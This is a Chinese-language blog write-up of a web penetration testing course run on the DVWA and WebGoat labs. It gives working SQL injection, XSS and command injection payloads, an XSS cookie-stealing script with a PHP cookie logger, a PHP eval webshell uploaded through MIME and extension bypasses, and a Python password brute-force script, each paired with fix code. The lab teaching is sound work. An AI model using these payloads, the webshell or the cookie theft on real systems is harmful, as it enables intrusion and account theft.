Web 渗透入门实战心得:从漏洞复现到综合靶场通关,附全流程思路 & 排错指南
本文所有操作、漏洞复现、工具测试均在官方授权靶场(DVWA、WebGoat) 内完成,仅用于网络安全技术学习、实训演练与安全防御研究。
目录
2.2.3 接收 Cookie 的后端脚本(recv.php)
3.1.1 典型 HTTP 请求包(文件上传场景原始数据包)
四、综合靶场实战:多层防护文件上传漏洞(重点案例 + 完整代码)
一、实训环境与整体学习规划
1.1 实验环境清单
本次全程使用标准化实训环境,保证操作可复现,环境配置如下:
| 设备 / 工具 | 版本信息 | 核心用途 |
|---|---|---|
| 渗透主机 | Kali Linux 2024.1 / Windows 10 | 漏洞利用、工具运行、代码编写 |
| 实训靶场 | DVWA 1.10、WebGoat 8.0 | 单项漏洞 + 综合场景复现 |
| 核心工具 | Burp Suite Community 2024、AWVS 2023、御剑目录扫描 | 抓包改包、漏洞扫描、信息收集 |
| 代码环境 | Python3、PHP7、MySQL5.7 | 编写测试脚本、分析漏洞源码 |
1.2 分阶段学习路线(思维导图)
很多新手入门直接上手工具,跳过理论导致频繁失败。结合课程实训,我总结出一套循序渐进的学习路线。

图 1 学习路线思维导图
图注:本路线为实训亲测最优顺序,理论、工具、代码同步推进,大幅降低入门难度。
1.3 实训整体思路
本次课程实训分为两大模块:单项漏洞专项练习、多层防护综合实战。核心学习逻辑:理解漏洞根源 → 编写 / 使用 Payload 代码 → 学习绕过技巧 → 编写防御代码,做到「知攻、知防、会编码、会排错」。
二、核心理论与单项漏洞复现(嵌入大量实战代码)
Web 渗透的核心是利用代码逻辑缺陷、数据过滤不严实现非法交互。课程重点学习 6 类主流高危漏洞,结合Payload 代码、漏洞源码、防御代码展开实操记录。
2.1 SQL 注入漏洞
2.1.1 漏洞成因
后端 PHP 代码未对用户输入做过滤、转义、预编译,直接拼接 SQL 语句传入 MySQL 数据库,造成注入风险。存在漏洞的 PHP 源码(示例)
<?php
// 危险代码:直接拼接用户输入,无任何过滤
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户名:".$row['username'];
}
?>
2.1.2 分级实战 Payload 代码
基于 DVWA 不同安全等级,整理全套可直接运行的注入语句,同时搭配 Linux 终端请求命令。
1. 低级难度:基础联合查询注入(浏览器URL直接访问)
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' union select 1,database() -- q
2. 中级难度:关键字过滤,大小写变形绕过
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' UnIoN SeLeCt 1,user() -- q
3. 高级难度:单引号过滤,注释符绕过
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' and 1=1 #
终端curl命令发起注入请求(Kali Linux专用)
curl "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=' union select 1,version() -- q"
2.1.3 防御代码(修复漏洞)
采用参数化查询彻底解决 SQL 注入,标准安全 PHP 代码:
<?php
// 安全代码:PDO参数化查询,杜绝SQL注入
$id = $_GET['id'];
$pdo = new PDO("mysql:host=localhost;dbname=dvwa","root","root");
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindParam(":id",$id);
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_ASSOC);
echo "用户名:".$row['username'];
?>
2.2 XSS 跨站脚本漏洞
2.2.1 漏洞成因
前端输出数据未做 HTML 转义,恶意脚本直接在浏览器执行。漏洞前端代码片段
<!-- 危险代码:直接输出用户输入 -->
<div>留言内容:<?php echo $_POST['msg']; ?></div>
2.2.2 全套 XSS 测试 Payload 代码
区分基础型、标签绕过型、编码绕过型,适配 DVWA 全等级:
<!-- 1. 基础XSS(低级靶场通用) -->
<script>alert('XSS测试')</script>
<!-- 2. 标签绕过(拦截script标签,中级靶场使用) -->
<img src=1 onerror=alert('XSS绕过')>
<!-- 3. 事件绕过(高级靶场,过滤img标签) -->
<body onload=alert('高阶XSS')>
<!-- 4. 简单Cookie窃取脚本(实战常用) -->
<script>document.location='http://127.0.0.1/recv.php?c='+document.cookie</script>
2.2.3 接收 Cookie 的后端脚本(recv.php)
配合窃取脚本使用,Kali 本地搭建接收服务:
<?php
// 接收靶机Cookie并写入日志文件
$cookie = $_GET['c'];
$log = fopen("cookie.log","a+");
fwrite($log,"时间:".date("Y-m-d H:i:s")." Cookie:".$cookie."\r\n");
fclose($log);
?>
2.2.4 XSS 防御代码
对输出内容进行 HTML 特殊字符转义:
<?php
// 安全代码:转义HTML特殊字符,防御XSS
$msg = $_POST['msg'];
$safe_msg = htmlspecialchars($msg,ENT_QUOTES);
echo "留言内容:".$safe_msg;
?>
2.3 命令执行漏洞
2.3.1 漏洞 Payload 与测试命令
靶机后端直接调用系统命令,无输入过滤,以下为 Linux/Windows 双平台测试代码:
# Linux靶机命令执行Payload(拼接执行命令)
127.0.0.1; whoami
127.0.0.1; ls -l /
# Windows靶机命令执行Payload
127.0.0.1 & ipconfig
127.0.0.1 & dir C:\
2.4 学习心得
所有漏洞学习切忌死记硬背代码。读懂漏洞源码、理解代码缺陷,再针对性编写 Payload 与防御代码,才能真正掌握攻防本质。
三、核心工具实操:Burp Suite + 自动化测试脚本
在整套渗透流程中,Burp Suite 是核心工具,同时我结合 Python 编写简易脚本,实现批量请求、弱口令爆破,提升自动化能力。
3.1 Burp Suite 核心配置与抓包代码规则

图 2 Burp Suite 抓包主界面
图注:
Intercept拦截开关:控制是否捕获浏览器数据包;- Raw 原始请求区:可手动修改 HTTP 请求头、请求体代码;
Forward转发按钮:修改数据包后放行请求。
3.1.1 典型 HTTP 请求包(文件上传场景原始数据包)
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Content-Length: 520
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/x-php
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundaryXXXX
3.1.2 绕过 MIME 检测:修改后请求包代码
修改Content-Type伪装成图片,实现绕过:
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Content-Length: 520
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="uploaded"; filename="shell.jpg.php"
# 核心修改:伪装图片类型
Content-Type: image/jpeg
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundaryXXXX
3.2 Python 简易弱口令爆破脚本(实战代码)
针对网站登录模块,编写轻量化爆破脚本,替代人工测试,代码可直接在 Kali Python3 环境运行:
# 弱口令爆破脚本 Python3
import requests
# 目标地址、账号、密码字典
url = "http://127.0.0.1/dvwa/login.php"
username = "admin"
# 简易密码字典
pwd_list = ["admin","123456","root","test","dvwa"]
for pwd in pwd_list:
data = {
"username": username,
"password": pwd,
"Login": "Login"
}
res = requests.post(url=url, data=data)
# 根据页面返回内容判断是否登录成功
if "Welcome" in res.text:
print(f"【成功】账号:{username} 密码:{pwd}")
break
else:
print(f"【失败】密码:{pwd}")
3.3 工具组合使用规范
- 自动化工具(AWVS / 御剑):使用命令行批量扫描目录,Kali 终端命令:
# 御剑目录扫描命令行调用 dirscan -u http://127.0.0.1/dvwa/ -d dict.txt - 人工 + Burp+Python 脚本:漏洞验证、防护绕过、批量爆破组合使用,效率最大化。
四、综合靶场实战:多层防护文件上传漏洞(重点案例 + 完整代码)
单项漏洞练习完成后,课程安排综合实战项目,模拟企业真实网站多层防护环境。
4.1 靶场三重防护规则
- 前端 JS 校验:仅允许
.jpg/.png图片后缀; - 服务端 MIME 类型检测:校验
Content-Type请求头; - 服务后缀黑名单:拦截
.php/.asp/.jsp脚本后缀。

图 3 靶场原始上传页面
图注:页面提示「仅允许上传图片格式文件」,前端 JS 拦截生效。
4.2 一句话木马代码(核心攻击载荷)
PHP 通用一句话木马,上传成功后可配合菜刀 / 蚁剑连接:
<?php @eval($_POST['cmd']); ?>
4.3 分层绕过完整操作 & 数据包代码
- 绕过前端 JS:Burp 拦截数据包,跳过本地校验;
- 绕过 MIME 检测:修改请求头
Content-Type: image/jpeg; - 绕过后缀黑名单:利用 Windows 解析漏洞,文件命名为 webshell
.php。

图 4 数据包修改后上传成功界面
图注:修改请求头与文件名后,脚本文件成功上传,获取 Web 访问权限。
4.4 上传漏洞防御代码(PHP)
采用后缀白名单 + MIME 校验双重防护,彻底拦截恶意脚本:
<?php
// 文件上传安全防御代码
$allow_type = ["jpg","png","gif"]; // 后缀白名单
$file_name = $_FILES['uploaded']['name'];
$file_ext = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
$mime = $_FILES['uploaded']['type'];
// 双重校验:后缀 + MIME类型
if(in_array($file_ext,$allow_type) && strstr($mime,"image/")){
move_uploaded_file($_FILES['uploaded']['tmp_name'],"./upload/".$file_name);
echo "上传成功";
}else{
echo "非法文件,上传失败";
}
?>
4.5 实战总结
真实企业网站均采用多层防护,渗透的核心不是堆砌代码与工具,而是逆向分析防护规则、组合技巧逐层突破。
五、新手高频踩坑点 & 实战排错手册(代码类问题专项)
结合实训经历,整理代码、脚本、命令执行类高频错误,附报错现象、原因、修复方案:
| 序号 | 问题类型 | 报错 / 现象 | 解决方案(代码 / 命令修复) |
|---|---|---|---|
| 1 | SQL 注入无回显 | Payload 执行后页面空白 | 替换注释符:-- q 改为 #,适配不同数据库 |
| 2 | Python 脚本运行报错 | ModuleNotFoundError: No module named 'requests' | Kali 执行:pip3 install requests 安装依赖 |
| 3 | 一句话木马无法执行 | 上传成功但访问无响应 | 检查文件目录权限:chmod 755 upload/(Linux) |
| 4 | Curl 请求乱码 | 终端返回中文乱码 | 执行命令:export LANG=en_US.UTF-8 设置编码 |
| 5 | XSS 脚本不触发 | 标签被页面过滤 | 使用 HTML 编码绕过,如 <script>alert(1)</script> |
| 6 | Burp 数据包转发失败 | 403 Forbidden | 补充正常 User-Agent 请求头,模拟浏览器访问 |
实操建议:建立个人代码仓库,按漏洞分类存储 Payload、脚本、防御代码、排错命令,实训随用随查。
六、自我复盘 & 后续学习规划
6.1 现阶段存在不足
- 高阶代码能力薄弱:暂未掌握复杂编码绕过、批量渗透脚本开发;
- 高级防护绕过不足:面对 WAF 正则过滤、代码审计类场景经验欠缺;
- 脚本能力单一:仅会基础 Python 脚本,未接触 Go/Java 安全工具开发。
6.2 后续学习计划
- 深耕代码能力:强化 Python、PHP,学习正则表达式、代码审计;
- 进阶 Payload 编写:学习编码、变形、免杀类高阶攻击代码;
- 拓展方向:学习内网渗透脚本、流量转发代码、应急响应工具开发;
- 持续实训:在合法靶场反复调试代码与脚本,巩固实战能力。
6.3 学习感悟
Web 安全是代码与攻防结合的领域,只会工具不懂代码,永远停留在入门阶段。学习技术的终极目标是修补漏洞、守护网络安全,必须坚守法律与道德底线。
七、全文总结
本次实训完成「理论学习 → 代码编写 → 工具训练 → 漏洞复现 → 综合实战 → 防御修复」完整闭环,核心总结:
- 源码是根本:读懂漏洞代码,才能理解攻击原理;
- 代码是利器:Payload、自动化脚本、防御代码贯穿整个渗透流程;
- 思路是核心:多层防护场景下,逻辑分析远比盲目执行代码重要。
希望本文的全套代码、实操案例、排错方案,能帮助入门学习者快速提升编码与攻防实战能力。
互动交流
- 大家在编写 Python 爆破脚本时,是否遇到过依赖包、请求超时等问题?
- 你常用的一句话木马、XSS Payload 还有哪些变体代码?欢迎大家点赞 + 收藏 + 评论,一起交流代码与实操问题,共同进步!
更多推荐



所有评论(0)